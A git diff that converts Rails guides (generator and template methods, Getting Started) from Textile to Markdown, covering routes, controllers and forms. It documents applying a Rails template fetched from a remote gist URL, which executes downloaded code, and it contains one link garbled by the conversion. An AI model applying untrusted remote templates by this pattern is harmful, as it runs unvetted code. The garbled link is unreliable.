`-m` option and passing in the filename: -<shell> +```bash $ rails new thud -m template.rb -</shell> +``` -This command will generate the +Thud+ application, and then apply the template to the generated output. +This command will generate the `Thud` application, and then apply the template to the generated output. -Templates don't have to be stored on the local system, the +-m+ option also supports online templates: +Templates don't have to be stored on the local system, the `-m` option also supports online templates: -<shell> +```bash $ rails new thud -m https://gist.github.com/722911.txt -</shell> +``` Whilst the final section of this guide doesn't cover how to generate the most awesome template known to man, it will take you through the methods available at your disposal so that you can develop it yourself. These same methods are also available for generators. -h3. Generator methods +Generator methods +----------------- The following are methods available for both generators and templates for Rails. -NOTE: Methods provided by Thor are not covered this guide and can be found in "Thor's documentation":http://rdoc.info/github/wycats/thor/master/Thor/Actions.html +NOTE: Methods provided by Thor are not covered this guide and can be found in [Thor's documentation](http://rdoc.info/github/wycats/thor/master/Thor/Actions.html) -h4. +gem+ +### `gem` Specifies a gem dependency of the application. -<ruby> +```ruby gem("rspec", :group => "test", :version => "2.1.0") gem("devise", "1.1.5") -</ruby> +``` Available options are: -* +:group+ - The group in the +Gemfile+ where this gem should go. -* +:version+ - The version string of the gem you want to use. Can also be specified as the second argument to the method. -* +:git+ - The URL to the git repository for this gem. +* `:group` - The group in the `Gemfile` where this gem should go. +* `:version` - The version string of the gem you want to use. Can also be specified as the second argument to the method. +* `:git` - The URL to the git repository for this gem. Any additional options passed to this method are put on the end of the line: -<ruby> +```ruby gem("devise", :git => "git://github.com/plataformatec/devise", :branch => "master") -</ruby> +``` -The above code will put the following line into +Gemfile+: +The above code will put the following line into `Gemfile`: -<ruby> +```ruby gem "devise", :git => "git://github.com/plataformatec/devise", :branch => "master" -</ruby> +``` -h4. +gem_group+ +### `gem_group` Wraps gem entries inside a group: -<ruby> +```ruby gem_group :development, :test do gem "rspec-rails" end -</ruby> +``` -h4. +add_source+ +### `add_source` -Adds a specified source to +Gemfile+: +Adds a specified source to `Gemfile`: -<ruby> +```ruby add_source "http://gems.github.com" -</ruby> +``` -h4. +inject_into_file+ +### `inject_into_file` Injects a block of code into a defined position in your file. -<ruby> +```ruby inject_into_file 'name_of_file.rb', :after => "#The code goes below this line. Don't forget the Line break at the end\n" do <<-'RUBY' puts "Hello World" RUBY end -</ruby> +``` -h4. +gsub_file+ +### `gsub_file` Replaces text inside a file. -<ruby> +```ruby gsub_file 'name_of_file.rb', 'method.to_be_replaced', 'method.the_replacing_code' -</ruby> +``` Regular Expressions can be used to make this method more precise. You can also use append_file and prepend_file in the same way to place code at the beginning and end of a file respectively. -h4. +application+ +### `application` -Adds a line to +config/application.rb+ directly after the application class definition. +Adds a line to `config/application.rb` directly after the application class definition. -<ruby> +```ruby application "config.asset_host = 'http://example.com'" -</ruby> +``` This method can also take a block: -<ruby> +```ruby application do "config.asset_host = 'http://example.com'" end -</ruby> +``` Available options are: -* +:env+ - Specify an environment for this configuration option. If you wish to use this option with the block syntax the recommended syntax is as follows: +* `:env` - Specify an environment for this configuration option. If you wish to use this option with the block syntax the recommended syntax is as follows: -<ruby> +```ruby application(nil, :env => "development") do "config.asset_host = 'http://localhost:3000'" end -</ruby> +``` -h4. +git+ +### `git` Runs the specified git command: -<ruby> +```ruby git :init git :add => "." git :commit => "-m First commit!" git :add => "onefile.rb", :rm => "badfile.cxx" -</ruby> +``` The values of the hash here being the arguments or options passed to the specific git command. As per the final example shown here, multiple git commands can be specified at a time, but the order of their running is not guaranteed to be the same as the order that they were specified in. -h4. +vendor+ +### `vendor` -Places a file into +vendor+ which contains the specified code. +Places a file into `vendor` which contains the specified code. -<ruby> +```ruby vendor("sekrit.rb", '#top secret stuff') -</ruby> +``` This method also takes a block: -<ruby> +```ruby vendor("seeds.rb") do "puts 'in ur app, seeding ur database'" end -</ruby> +``` -h4. +lib+ +### `lib` -Places a file into +lib+ which contains the specified code. +Places a file into `lib` which contains the specified code. -<ruby> +```ruby lib("special.rb", 'p Rails.root') -</ruby> +``` This method also takes a block: -<ruby> +```ruby lib("super_special.rb") do puts "Super special!" end -</ruby> +``` -h4. +rakefile+ +### `rakefile` -Creates a Rake file in the +lib/tasks+ directory of the application. +Creates a Rake file in the `lib/tasks` directory of the application. -<ruby> +```ruby rakefile("test.rake", 'hello there') -</ruby> +``` This method also takes a block: -<ruby> +```ruby rakefile("test.rake") do %Q{ task :rock => :environment do @@ -561,66 +571,66 @@ rakefile("test.rake") do end } end -</ruby> +``` -h4. +initializer+ +### `initializer` -Creates an initializer in the +config/initializers+ directory of the application: +Creates an initializer in the `config/initializers` directory of the application: -<ruby> +```ruby initializer("begin.rb", "puts 'this is the beginning'") -</ruby> +``` This method also takes a block: -<ruby> +```ruby initializer("begin.rb") do puts "Almost done!" end -</ruby> +``` -h4. +generate+ +### `generate` Runs the specified generator where the first argument is the generator name and the remaining arguments are passed directly to the generator. -<ruby> +```ruby generate("scaffold", "forums title:string description:text") -</ruby> +``` -h4. +rake+ +### `rake` Runs the specified Rake task. -<ruby> +```ruby rake("db:migrate") -</ruby> +``` Available options are: -* +:env+ - Specifies the environment in which to run this rake task. -* +:sudo+ - Whether or not to run this task using +sudo+. Defaults to +false+. +* `:env` - Specifies the environment in which to run this rake task. +* `:sudo` - Whether or not to run this task using `sudo`. Defaults to `false`. -h4. +capify!+ +### `capify!` -Runs the +capify+ command from Capistrano at the root of the application which generates Capistrano configuration. +Runs the `capify` command from Capistrano at the root of the application which generates Capistrano configuration. -<ruby> +```ruby capify! -</ruby> +``` -h4. +route+ +### `route` -Adds text to the +config/routes.rb+ file: +Adds text to the `config/routes.rb` file: -<ruby> +```ruby route("resources :people") -</ruby> +``` -h4. +readme+ +### `readme` -Output the contents of a file in the template's +source_path+, usually a README. +Output the contents of a file in the template's `source_path`, usually a README. -<ruby> +```ruby readme("README") -</ruby> +``` diff --git a/guides/source/getting_started.textile b/guides/source/getting_started.md index 226c3dce14..0789a59f9c 100644 --- a/guides/source/getting_started.textile +++ b/guides/source/getting_started.md @@ -1,4 +1,5 @@ -h2. Getting Started with Rails +Getting Started with Rails +========================== This guide covers getting up and running with Ruby on Rails. After reading it, you should be familiar with: @@ -8,34 +9,36 @@ you should be familiar with: * The basic principles of MVC (Model, View Controller) and RESTful design * How to quickly generate the starting pieces of a Rails application -endprologue. +-------------------------------------------------------------------------------- WARNING. This Guide is based on Rails 3.2. Some of the code shown here will not work in earlier versions of Rails. -h3. Guide Assumptions +Guide Assumptions +----------------- This guide is designed for beginners who want to get started with a Rails application from scratch. It does not assume that you have any prior experience with Rails. However, to get the most out of it, you need to have some prerequisites installed: -* The "Ruby":http://www.ruby-lang.org/en/downloads language version 1.9.3 or higher +* The [Ruby](http://www.ruby-lang.org/en/downloads) language version 1.9.3 or higher -* The "RubyGems":http://rubyforge.org/frs/?group_id=126 packaging system - ** If you want to learn more about RubyGems, please read the "RubyGems User Guide":http://docs.rubygems.org/read/book/1 -* A working installation of the "SQLite3 Database":http://www.sqlite.org +* The [RubyGems](http://rubyforge.org/frs/?group_id=126) packaging system + * If you want to learn more about RubyGems, please read the [RubyGems User Guide](http://docs.rubygems.org/read/book/1) +* A working installation of the [SQLite3 Database](http://www.sqlite.org) Rails is a web application framework running on the Ruby programming language. If you have no prior experience with Ruby, you will find a very steep learning curve diving straight into Rails. There are some good free resources on the internet for learning Ruby, including: -* "Mr. Neighborly's Humble Little Ruby Book":http://www.humblelittlerubybook.com -* "Programming Ruby":http://www.ruby-doc.org/docs/ProgrammingRuby/ -* "Why's (Poignant) Guide to Ruby":http://mislav.uniqpath.com/poignant-guide/ +* [Mr. Neighborly's Humble Little Ruby Book](http://www.humblelittlerubybook.com) +* [Programming Ruby](http://www.ruby-doc.org/docs/ProgrammingRuby/) +* [Why's (Poignant) Guide to Ruby](http://mislav.uniqpath.com/poignant-guide/) -h3. What is Rails? +What is Rails? +-------------- Rails is a web application development framework written in the Ruby language. It is designed to make programming web applications easier by making assumptions @@ -57,107 +60,109 @@ The Rails philosophy includes two major guiding principles: * Convention Over Configuration - means that Rails makes assumptions about what you want to do and how you're going to do it, rather than requiring you to specify every little thing through endless configuration files. -h3. Creating a New Rails Project +Creating a New Rails Project +---------------------------- The best way to use this guide is to follow each step as it happens, no code or step needed to make this example application has been left out, so you can literally follow along step by step. You can get the complete code -"here":https://github.com/lifo/docrails/tree/master/guides/code/getting_started. +[here](https://github.com/lifo/docrails/tree/master/guides/code/getting_started). By following along with this guide, you'll create a Rails project called -+blog+, a +`blog`, a (very) simple weblog. Before you can start building the application, you need to make sure that you have Rails itself installed. TIP: The examples below use # and $ to denote superuser and regular user terminal prompts respectively in a UNIX-like OS. If you are using Windows, your prompt will look something like c:\source_code> -h4. Installing Rails +### Installing Rails -To install Rails, use the +gem install+ command provided by RubyGems: +To install Rails, use the `gem install` command provided by RubyGems: -<shell> +```bash # gem install rails -</shell> +``` TIP. A number of tools exist to help you quickly install Ruby and Ruby -on Rails on your system. Windows users can use "Rails -Installer":http://railsinstaller.org, while Mac OS X users can use -"Rails One Click":http://railsoneclick.com. +on Rails on your system. Windows users can use [Rails Installer](http://railsinstaller.org), while Mac OS X users can use +[Rails One Click](http://railsoneclick.com). To verify that you have everything installed correctly, you should be able to run the following: -<shell> +```bash $ rails --version -</shell> +``` If it says something like "Rails 3.2.3" you are ready to continue. -h4. Creating the Blog Application +### Creating the Blog Application Rails comes with a number of generators that are designed to make your development life easier. One of these is the new application generator, which will provide you with the foundation of a Rails application so that you don't have to write it yourself. To use this generator, open a terminal, navigate to a directory where you have rights to create files, and type: -<shell> +```bash $ rails new blog -</shell> +``` -This will create a Rails application called Blog in a directory called blog and install the gem dependencies that are already mentioned in +Gemfile+ using +bundle install+. +This will create a Rails application called Blog in a directory called blog and install the gem dependencies that are already mentioned in `Gemfile` using `bundle install`. TIP: You can see all of the command line options that the Rails -application builder accepts by running +rails new -h+. +application builder accepts by running `rails new -h`. After you create the blog application, switch to its folder to continue work directly in that application: -<shell> +```bash $ cd blog -</shell> +``` -The +rails new blog+ command we ran above created a folder in your -working directory called +blog+. The +blog+ directory has a number of +The `rails new blog` command we ran above created a folder in your +working directory called `blog`. The `blog` directory has a number of auto-generated files and folders that make up the structure of a Rails -application. Most of the work in this tutorial will happen in the +app/+ folder, but here's a basic rundown on the function of each of the files and folders that Rails created by default: +application. Most of the work in this tutorial will happen in the `app/` folder, but here's a basic rundown on the function of each of the files and folders that Rails created by default: -|_.File/Folder|_.Purpose| +| File/Folder | Purpose | +| ----------- | ------- | |app/|Contains the controllers, models, views, helpers, mailers and assets for your application. You'll focus on this folder for the remainder of this guide.| -|config/|Configure your application's runtime rules, routes, database, and more. This is covered in more detail in "Configuring Rails Applications":configuring.html| +|config/|Configure your application's runtime rules, routes, database, and more. This is covered in more detail in [Configuring Rails Applications](configuring.html)| |config.ru|Rack configuration for Rack based servers used to start the application.| |db/|Contains your current database schema, as well as the database migrations.| |doc/|In-depth documentation for your application.| -|Gemfile<br />Gemfile.lock|These files allow you to specify what gem dependencies are needed for your Rails application. These files are used by the Bundler gem. For more information about Bundler, see "the Bundler website":http://gembundler.com | +|Gemfile<br />Gemfile.lock|These files allow you to specify what gem dependencies are needed for your Rails application. These files are used by the Bundler gem. For more information about Bundler, see [the Bundler website](http://gembundler.com) | |lib/|Extended modules for your application.| |log/|Application log files.| |public/|The only folder seen to the world as-is. Contains the static files and compiled assets.| |Rakefile|This file locates and loads tasks that can be run from the command line. The task definitions are defined throughout the components of Rails. Rather than changing Rakefile, you should add your own tasks by adding files to the lib/tasks directory of your application.| |README.rdoc|This is a brief instruction manual for your application. You should edit this file to tell others what your application does, how to set it up, and so on.| |script/|Contains the rails script that starts your app and can contain other scripts you use to deploy or run your application.| -|test/|Unit tests, fixtures, and other test apparatus. These are covered in "Testing Rails Applications":testing.html| +|test/|Unit tests, fixtures, and other test apparatus. These are covered in [Testing Rails Applications](testing.html)| |tmp/|Temporary files (like cache, pid and session files)| |vendor/|A place for all third-party code. In a typical Rails application, this includes Ruby Gems and the Rails source code (if you optionally install it into your project).| -h3. Hello, Rails! +Hello, Rails! +------------- To begin with, let's get some text up on screen quickly. To do this, you need to get your Rails application server running. -h4. Starting up the Web Server +### Starting up the Web Server You actually have a functional Rails application already. To see it, you need to start a web server on your development machine. You can do this by running: -<shell> +```bash $ rails server -</shell> +``` -TIP: Compiling CoffeeScript to JavaScript requires a JavaScript runtime and the absence of a runtime will give you an +execjs+ error. Usually Mac OS X and Windows come with a JavaScript runtime installed. Rails adds the +therubyracer+ gem to Gemfile in a commented line for new apps and you can uncomment if you need it. +therubyrhino+ is the recommended runtime for JRuby users and is added by default to Gemfile in apps generated under JRuby. You can investigate about all the supported runtimes at "ExecJS":https://github.com/sstephenson/execjs#readme. +TIP: Compiling CoffeeScript to JavaScript requires a JavaScript runtime and the absence of a runtime will give you an `execjs` error. Usually Mac OS X and Windows come with a JavaScript runtime installed. Rails adds the `therubyracer` gem to Gemfile in a commented line for new apps and you can uncomment if you need it. `therubyrhino` is the recommended runtime for JRuby users and is added by default to Gemfile in apps generated under JRuby. You can investigate about all the supported runtimes at [ExecJS](https://github.com/sstephenson/execjs#readme). -This will fire up WEBrick, a webserver built into Ruby by default. To see your application in action, open a browser window and navigate to "http://localhost:3000":http://localhost:3000. You should see the Rails default information page: +This will fire up WEBrick, a webserver built into Ruby by default. To see your application in action, open a browser window and navigate to [http://localhost:3000](http://localhost:3000). You should see the Rails default information page: -!images/rails_welcome.png(Welcome Aboard screenshot)! + TIP: To stop the web server, hit Ctrl+C in the terminal window where it's running. In development mode, Rails does not generally require you to restart the server; changes you make in files will be automatically picked up by the server. The "Welcome Aboard" page is the _smoke test_ for a new Rails application: it makes sure that you have your software configured correctly enough to serve a page. You can also click on the _About your application’s environment_ link to see a summary of your application's environment. -h4. Say "Hello", Rails +### Say "Hello", Rails To get Rails saying "Hello", you need to create at minimum a _controller_ and a _view_. @@ -167,13 +172,13 @@ A view's purpose is to display this information in a human readable format. An i To create a new controller, you will need to run the "controller" generator and tell it you want a controller called "welcome" with an action called "index", just like this: -<shell> +```bash $ rails generate controller welcome index -</shell> +``` Rails will create several files and a route for you. -<shell> +```bash create app/controllers/welcome_controller.rb route get "welcome/index" invoke erb @@ -190,29 +195,29 @@ invoke coffee create app/assets/javascripts/welcome.js.coffee invoke scss create app/assets/stylesheets/welcome.css.scss -</shell> +``` -Most important of these are of course the controller, located at +app/controllers/welcome_controller.rb+ and the view, located at +app/views/welcome/index.html.erb+. +Most important of these are of course the controller, located at `app/controllers/welcome_controller.rb` and the view, located at `app/views/welcome/index.html.erb`. -Open the +app/views/welcome/index.html.erb+ file in your text editor and edit it to contain a single line of code: +Open the `app/views/welcome/index.html.erb` file in your text editor and edit it to contain a single line of code: -<html> +```html <h1>Hello, Rails!</h1> -</html> +``` -h4. Setting the Application Home Page +### Setting the Application Home Page -Now that we have made the controller and view, we need to tell Rails when we want "Hello Rails!" to show up. In our case, we want it to show up when we navigate to the root URL of our site, "http://localhost:3000":http://localhost:3000. At the moment, however, the "Welcome Aboard" smoke test is occupying that spot. +Now that we have made the controller and view, we need to tell Rails when we want [Hello Rails!" to show up. In our case, we want it to show up when we navigate to the root URL of our site, "http://localhost:3000](http://localhost:3000). At the moment, however, the "Welcome Aboard" smoke test is occupying that spot. -To fix this, delete the +index.html+ file located inside the +public+ directory of the application. +To fix this, delete the `index.html` file located inside the `public` directory of the application. -You need to do this because Rails will serve any static file in the +public+ directory that matches a route in preference to any dynamic content you generate from the controllers. The +index.html+ file is special: it will be served if a request comes in at the root route, e.g. http://localhost:3000. If another request such as http://localhost:3000/welcome happened, a static file at <tt>public/welcome.html</tt> would be served first, but only if it existed. +You need to do this because Rails will serve any static file in the `public` directory that matches a route in preference to any dynamic content you generate from the controllers. The `index.html` file is special: it will be served if a request comes in at the root route, e.g. http://localhost:3000. If another request such as http://localhost:3000/welcome happened, a static file at `public/welcome.html` would be served first, but only if it existed. Next, you have to tell Rails where your actual home page is located. -Open the file +config/routes.rb+ in your editor. +Open the file `config/routes.rb` in your editor. -<ruby> +```ruby Blog::Application.routes.draw do get "welcome/index" @@ -222,21 +227,22 @@ Blog::Application.routes.draw do # You can have the root of your site routed with "root" # just remember to delete public/index.html. # root :to => "welcome#index" -</ruby> +``` -This is your application's _routing file_ which holds entries in a special DSL (domain-specific language) that tells Rails how to connect incoming requests to controllers and actions. This file contains many sample routes on commented lines, and one of them actually shows you how to connect the root of your site to a specific controller and action. Find the line beginning with +root :to+ and uncomment it. It should look something like the following: +This is your application's _routing file_ which holds entries in a special DSL (domain-specific language) that tells Rails how to connect incoming requests to controllers and actions. This file contains many sample routes on commented lines, and one of them actually shows you how to connect the root of your site to a specific controller and action. Find the line beginning with `root :to` and uncomment it. It should look something like the following: -<ruby> +```ruby root :to => "welcome#index" -</ruby> +``` -The +root :to => "welcome#index"+ tells Rails to map requests to the root of the application to the welcome controller's index action and +get "welcome/index"+ tells Rails to map requests to "http://localhost:3000/welcome/index":http://localhost:3000/welcome/index to the welcome controller's index action. This was created earlier when you ran the controller generator (+rails generate controller welcome index+). +The `root :to => "welcome#index"` tells Rails to map requests to the root of the application to the welcome controller's index action and `get "welcome/index"` tells Rails to map requests to [http://localhost:3000/welcome/index](http://localhost:3000/welcome/index) to the welcome controller's index action. This was created earlier when you ran the controller generator (`rails generate controller welcome index`). -If you navigate to "http://localhost:3000":http://localhost:3000 in your browser, you'll see the +Hello, Rails!+ message you put into +app/views/welcome/index.html.erb+, indicating that this new route is indeed going to +WelcomeController+'s +index+ action and is rendering the view correctly. +If you navigate to [http://localhost:3000](http://localhost:3000) in your browser, you'll see the `Hello, Rails!` message you put into `app/views/welcome/index.html.erb`, indicating that this new route is indeed going to `WelcomeController`'s `index` action and is rendering the view correctly. -NOTE. For more information about routing, refer to "Rails Routing from the Outside In":routing.html. +NOTE. For more information about routing, refer to [Rails Routing from the Outside In](routing.html). -h3. Getting Up and Running +Getting Up and Running +---------------------- Now that you've seen how to create a controller, an action and a view, let's create something with a bit more substance. @@ -244,61 +250,61 @@ In the Blog application, you will now create a new _resource_. A resource is the In the next section, you will add the ability to create new posts in your application and be able to view them. This is the "C" and the "R" from CRUD: creation and reading. The form for doing this will look like this: -!images/getting_started/new_post.png(The new post form)! + It will look a little basic for now, but that's ok. We'll look at improving the styling for it afterwards. -h4. Laying down the ground work +### Laying down the ground work -The first thing that you are going to need to create a new post within the application is a place to do that. A great place for that would be at +/posts/new+. If you attempt to navigate to that now -- by visiting "http://localhost:3000/posts/new":http://localhost:3000/posts/new -- Rails will give you a routing error: +The first thing that you are going to need to create a new post within the application is a place to do that. A great place for that would be at `/posts/new`. If you attempt to navigate to that now -- by visiting [http://localhost:3000/posts/new](http://localhost:3000/posts/new) -- Rails will give you a routing error: -!images/getting_started/routing_error_no_route_matches.png(A routing error, no route matches /posts/new)! + -This is because there is nowhere inside the routes for the application -- defined inside +config/routes.rb+ -- that defines this route. By default, Rails has no routes configured at all, besides the root route you defined earlier, and so you must define your routes as you need them. +This is because there is nowhere inside the routes for the application -- defined inside `config/routes.rb` -- that defines this route. By default, Rails has no routes configured at all, besides the root route you defined earlier, and so you must define your routes as you need them. - To do this, you're going to need to create a route inside +config/routes.rb+ file, on a new line between the +do+ and the +end+ for the +draw+ method: + To do this, you're going to need to create a route inside `config/routes.rb` file, on a new line between the `do` and the `end` for the `draw` method: -<ruby> +```ruby get "posts/new" -</ruby> +``` -This route is a super-simple route: it defines a new route that only responds to +GET+ requests, and that the route is at +posts/new+. But how does it know where to go without the use of the +:to+ option? Well, Rails uses a sensible default here: Rails will assume that you want this route to go to the new action inside the posts controller. +This route is a super-simple route: it defines a new route that only responds to `GET` requests, and that the route is at `posts/new`. But how does it know where to go without the use of the `:to` option? Well, Rails uses a sensible default here: Rails will assume that you want this route to go to the new action inside the posts controller. -With the route defined, requests can now be made to +/posts/new+ in the application. Navigate to "http://localhost:3000/posts/new":http://localhost:3000/posts/new and you'll see another routing error: +With the route defined, requests can now be made to `/posts/new` in the application. Navigate to [http://localhost:3000/posts/new](http://localhost:3000/posts/new) and you'll see another routing error: -!images/getting_started/routing_error_no_controller.png(Another routing error, uninitialized constant PostsController)! + -This error is happening because this route need a controller to be defined. The route is attempting to find that controller so it can serve the request, but with the controller undefined, it just can't do that. The solution to this particular problem is simple: you need to create a controller called +PostsController+. You can do this by running this command: +This error is happening because this route need a controller to be defined. The route is attempting to find that controller so it can serve the request, but with the controller undefined, it just can't do that. The solution to this particular problem is simple: you need to create a controller called `PostsController`. You can do this by running this command: -<shell> +```bash $ rails g controller posts -</shell> +``` -If you open up the newly generated +app/controllers/posts_controller.rb+ you'll see a fairly empty controller: +If you open up the newly generated `app/controllers/posts_controller.rb` you'll see a fairly empty controller: -<ruby> +```ruby class PostsController < ApplicationController end -</ruby> +``` -A controller is simply a class that is defined to inherit from +ApplicationController+. It's inside this class that you'll define methods that will become the actions for this controller. These actions will perform CRUD operations on the posts within our system. +A controller is simply a class that is defined to inherit from `ApplicationController`. It's inside this class that you'll define methods that will become the actions for this controller. These actions will perform CRUD operations on the posts within our system. -If you refresh "http://localhost:3000/posts/new":http://localhost:3000/posts/new now, you'll get a new error: +If you refresh [http://localhost:3000/posts/new](http://localhost:3000/posts/new) now, you'll get a new error: -!images/getting_started/unknown_action_new_for_posts.png(Unknown action new for PostsController!)! + -This error indicates that Rails cannot find the +new+ action inside the +PostsController+ that you just generated. This is because when controllers are generated in Rails they are empty by default, unless you tell it you wanted actions during the generation process. +This error indicates that Rails cannot find the `new` action inside the `PostsController` that you just generated. This is because when controllers are generated in Rails they are empty by default, unless you tell it you wanted actions during the generation process. -To manually define an action inside a controller, all you need to do is to define a new method inside the controller. Open +app/controllers/posts_controller.rb+ and inside the +PostsController+ class, define a +new+ method like this: +To manually define an action inside a controller, all you need to do is to define a new method inside the controller. Open `app/controllers/posts_controller.rb` and inside the `PostsController` class, define a `new` method like this: -<ruby> +```ruby def new end -</ruby> +``` -With the +new+ method defined in +PostsController+, if you refresh "http://localhost:3000/posts/new":http://localhost:3000/posts/new you'll see another error: +With the `new` method defined in `PostsController`, if you refresh [http://localhost:3000/posts/new](http://localhost:3000/posts/new) you'll see another error: -!images/getting_started/template_is_missing_posts_new.png(Template is missing for posts/new)! + You're getting this error now because Rails expects plain actions like this one to have views associated with them to display their information. With no view available, Rails errors out. @@ -310,29 +316,29 @@ Missing template posts/new, application/new with {:locale=>[:en], :formats=>[:ht That's quite a lot of text! Let's quickly go through and understand what each part of it does. -The first part identifies what template is missing. In this case, it's the +posts/new+ template. Rails will first look for this template. If not found, then it will attempt to load a template called +application/new+. It looks for one here because the +PostsController+ inherits from +ApplicationController+. +The first part identifies what template is missing. In this case, it's the `posts/new` template. Rails will first look for this template. If not found, then it will attempt to load a template called `application/new`. It looks for one here because the `PostsController` inherits from `ApplicationController`. -The next part of the message contains a hash. The +:locale+ key in this hash simply indicates what spoken language template should be retrieved. By default, this is the English -- or "en" -- template. The next key, +:formats+ specifies the format of template to be served in response . The default format is +:html+, and so Rails is looking for an HTML template. The final key, +:handlers+, is telling us what _template handlers_ could be used to render our template. +:erb+ is most commonly used for HTML templates, +:builder+ is used for XML templates, and +:coffee+ uses CoffeeScript to build JavaScript templates. +The next part of the message contains a hash. The `:locale` key in this hash simply indicates what spoken language template should be retrieved. By default, this is the English -- or "en" -- template. The next key, `:formats` specifies the format of template to be served in response . The default format is `:html`, and so Rails is looking for an HTML template. The final key, `:handlers`, is telling us what _template handlers_ could be used to render our template. `:erb` is most commonly used for HTML templates, `:builder` is used for XML templates, and `:coffee` uses CoffeeScript to build JavaScript templates. The final part of this message tells us where Rails has looked for the templates. Templates within a basic Rails application like this are kept in a single location, but in more complex applications it could be many different paths. -The simplest template that would work in this case would be one located at +app/views/posts/new.html.erb+. The extension of this file name is key: the first extension is the _format_ of the template, and the second extension is the _handler_ that will be used. Rails is attempting to find a template called +posts/new+ within +app/views+ for the application. The format for this template can only be +html+ and the handler must be one of +erb+, +builder+ or +coffee+. Because you want to create a new HTML form, you will be using the +ERB+ language. Therefore the file should be called +posts/new.html.erb+ and needs to be located inside the +app/views+ directory of the application. +The simplest template that would work in this case would be one located at `app/views/posts/new.html.erb`. The extension of this file name is key: the first extension is the _format_ of the template, and the second extension is the _handler_ that will be used. Rails is attempting to find a template called `posts/new` within `app/views` for the application. The format for this template can only be `html` and the handler must be one of `erb`, `builder` or `coffee`. Because you want to create a new HTML form, you will be using the `ERB` language. Therefore the file should be called `posts/new.html.erb` and needs to be located inside the `app/views` directory of the application. -Go ahead now and create a new file at +app/views/posts/new.html.erb+ and write this content in it: +Go ahead now and create a new file at `app/views/posts/new.html.erb` and write this content in it: -<erb> +```html <h1>New Post</h1> -</erb> +``` -When you refresh "http://localhost:3000/posts/new":http://localhost:3000/posts/new you'll now see that the page has a title. The route, controller, action and view are now working harmoniously! It's time to create the form for a new post. +When you refresh [http://localhost:3000/posts/new](http://localhost:3000/posts/new) you'll now see that the page has a title. The route, controller, action and view are now working harmoniously! It's time to create the form for a new post. -h4. The first form +### The first form To create a form within this template, you will use a <em>form builder</em>. The primary form builder for Rails is provided by a helper -method called +form_for+. To use this method, add this code into +app/views/posts/new.html.erb+: +method called `form_for`. To use this method, add this code into `app/views/posts/new.html.erb`: -<erb> +```html+erb <%= form_for :post do |f| %> <p> <%= f.label :title %><br> @@ -348,47 +354,47 @@ method called +form_for+. To use this method, add this code into +app/views/post <%= f.submit %> </p> <% end %> -</erb> +``` If you refresh the page now, you'll see the exact same form as in the example. Building forms in Rails is really just that easy! -When you call +form_for+, you pass it an identifying object for this -form. In this case, it's the symbol +:post+. This tells the +form_for+ +When you call `form_for`, you pass it an identifying object for this +form. In this case, it's the symbol `:post`. This tells the `form_for` helper what this form is for. Inside the block for this method, the -+FormBuilder+ object -- represented by +f+ -- is used to build two labels and two text fields, one each for the title and text of a post. Finally, a call to +submit+ on the +f+ object will create a submit button for the form. +`FormBuilder` object -- represented by `f` -- is used to build two labels and two text fields, one each for the title and text of a post. Finally, a call to `submit` on the `f` object will create a submit button for the form. -There's one problem with this form though. If you inspect the HTML that is generated, by viewing the source of the page, you will see that the +action+ attribute for the form is pointing at +/posts/new+. This is a problem because this route goes to the very page that you're on right at the moment, and that route should only be used to display the form for a new post. +There's one problem with this form though. If you inspect the HTML that is generated, by viewing the source of the page, you will see that the `action` attribute for the form is pointing at `/posts/new`. This is a problem because this route goes to the very page that you're on right at the moment, and that route should only be used to display the form for a new post. The form needs to use a different URL in order to go somewhere else. -This can be done quite simply with the +:url+ option of +form_for+. +This can be done quite simply with the `:url` option of `form_for`. Typically in Rails, the action that is used for new form submissions like this is called "create", and so the form should be pointed to that action. -Edit the +form_for+ line inside +app/views/posts/new.html.erb+ to look like this: +Edit the `form_for` line inside `app/views/posts/new.html.erb` to look like this: -<erb> +```html+erb <%= form_for :post, :url => { :action => :create } do |f| %> -</erb> +``` -In this example, a +Hash+ object is passed to the +:url+ option. What Rails will do with this is that it will point the form to the +create+ action of the current controller, the +PostsController+, and will send a +POST+ request to that route. For this to work, you will need to add a route to +config/routes.rb+, right underneath the one for "posts/new": +In this example, a `Hash` object is passed to the `:url` option. What Rails will do with this is that it will point the form to the `create` action of the current controller, the `PostsController`, and will send a `POST` request to that route. For this to work, you will need to add a route to `config/routes.rb`, right underneath the one for "posts/new": -<ruby> +```ruby post "posts" => "posts#create" -</ruby> +``` -By using the +post+ method rather than the +get+ method, Rails will define a route that will only respond to POST methods. The POST method is the typical method used by forms all over the web. +By using the `post` method rather than the `get` method, Rails will define a route that will only respond to POST methods. The POST method is the typical method used by forms all over the web. With the form and its associated route defined, you will be able to fill in the form and then click the submit button to begin the process of creating a new post, so go ahead and do that. When you submit the form, you should see a familiar error: -!images/getting_started/unknown_action_create_for_posts.png(Unknown action create for PostsController)! + -You now need to create the +create+ action within the +PostsController+ for this to work. +You now need to create the `create` action within the `PostsController` for this to work. -h4. Creating posts +### Creating posts -To make the "Unknown action" go away, you can define a +create+ action within the +PostsController+ class in +app/controllers/posts_controller.rb+, underneath the +new+ action: +To make the "Unknown action" go away, you can define a `create` action within the `PostsController` class in `app/controllers/posts_controller.rb`, underneath the `new` action: -<ruby> +```ruby class PostsController < ApplicationController def new end @@ -397,47 +403,47 @@ class PostsController < ApplicationController end end -</ruby> +``` -If you re-submit the form now, you'll see another familiar error: a template is missing. That's ok, we can ignore that for now. What the +create+ action should be doing is saving our new post to a database. +If you re-submit the form now, you'll see another familiar error: a template is missing. That's ok, we can ignore that for now. What the `create` action should be doing is saving our new post to a database. -When a form is submitted, the fields of the form are sent to Rails as _parameters_. These parameters can then be referenced inside the controller actions, typically to perform a particular task. To see what these parameters look like, change the +create+ action to this: +When a form is submitted, the fields of the form are sent to Rails as _parameters_. These parameters can then be referenced inside the controller actions, typically to perform a particular task. To see what these parameters look like, change the `create` action to this: -<ruby> +```ruby def create render :text => params[:post].inspect end -</ruby> +``` -The +render+ method here is taking a very simple hash with a key of +text+ and value of +params[:post].inspect+. The +params+ method is the object which represents the parameters (or fields) coming in from the form. The +params+ method returns a +HashWithIndifferentAccess+ object, which allows you to access the keys of the hash using either strings or symbols. In this situation, the only parameters that matter are the ones from the form. +The `render` method here is taking a very simple hash with a key of `text` and value of `params[:post].inspect`. The `params` method is the object which represents the parameters (or fields) coming in from the form. The `params` method returns a `HashWithIndifferentAccess` object, which allows you to access the keys of the hash using either strings or symbols. In this situation, the only parameters that matter are the ones from the form. If you re-submit the form one more time you'll now no longer get the missing template error. Instead, you'll see something that looks like the following: -<ruby> +```ruby {"title"=>"First post!", "text"=>"This is my first post."} -</ruby> +``` This action is now displaying the parameters for the post that are coming in from the form. However, this isn't really all that helpful. Yes, you can see the parameters but nothing in particular is being done with them. 